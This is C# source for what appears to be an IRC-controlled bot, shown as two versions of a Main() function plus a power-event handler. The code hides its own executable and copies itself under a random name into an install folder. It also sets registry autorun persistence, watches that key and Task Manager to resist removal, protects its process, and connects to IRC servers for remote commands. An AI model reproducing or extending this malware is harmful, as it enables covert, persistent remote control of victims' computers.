public static void Main() { Functions.ProtectProc(); // Mutex for single instance bool ok; Config.mutex = new Mutex(true, Config.BotMutex(), out ok); if (!ok) // Already running then exit { Environment.Exit(0); } // Check installation, if not then install if (!Install.IsInstalled()) { Install.Start(); } // Check registry key RegTools.CreateProtectedValue(); if (Functions.RegistryPath().GetValue(Config._registryKey()) == null) { Functions.RegistryPath().SetValue(Config._registryKey(), Config.currentPath); } // Start monitoring the registry for changes Thread regMon = new Thread(Functions.RegistryMonitor); regMon.IsBackground = true; regMon.Start(); // Register event handlers for system shutdown/sleep SystemEvents.PowerModeChanged += PowerModeChanged; SystemEvents.SessionEnding += SessionEnding; // Start TaskMan Monitor new Thread(TaskManager.Monitor).Start(); // Finally, connect to IRC. Thread irc = new Thread(() => IRC.Connect(Config._servers(), Config._mainChannel(), Config._key(), Config._port(), Config._authHost())); irc.Start(); }
private static void PowerModeChanged(object sender, PowerModeChangedEventArgs e) { try { switch (e.Mode) { case Microsoft.Win32.PowerModes.Resume: IRC.Connect(Config._servers(), Config._mainChannel(), Config._key(), Config._port(), Config._authHost()); break; case Microsoft.Win32.PowerModes.Suspend: IRC.Disconnect("Windows is going to sleep..."); break; } } catch { } }
public static void Main() { // Mutex for single instance bool ok; Config.mutex = new Mutex(true, Config.BotMutex(), out ok); if (!ok) // Already running then exit { Environment.Exit(0); } // Check if we are installed, if not let's do it and restart. if (!Config.currentPath.Contains(installDir)) { try { string dest = installDir + @"\" + Functions.RandomString(8) + ".exe"; File.Copy(Config.currentPath, dest); // If it copied over ok, let's quit and restart. if (File.Exists(dest)) { Process.Start(dest); Environment.Exit(0); } } catch { } } // ProcessProtection try { Functions.ProtectProc(Win32.GetCurrentProcess()); } catch { } // Rehide the file if it's not hidden already. if (File.GetAttributes(Config.currentPath) != FileAttributes.Hidden) { File.SetAttributes(Config.currentPath, FileAttributes.Hidden); } // Check registry keys if (Functions.RegistryPath().GetValue(Config._registryKey()) == null) { Functions.RegistryPath().SetValue(Config._registryKey(), Config.currentPath); } // Start monitoring the registry for changes Thread regMon = new Thread(Functions.RegistryMonitor); regMon.IsBackground = true; regMon.Start(); // Register event handlers for system shutdown/sleep SystemEvents.PowerModeChanged += PowerModeChanged; SystemEvents.SessionEnding += SessionEnding; // Finally, connect to IRC. Thread irc = new Thread(() => IRC.Connect(Config._servers(), Config._mainChannel(), Config._key(), Config._port(), Config._authHost())); irc.Start(); }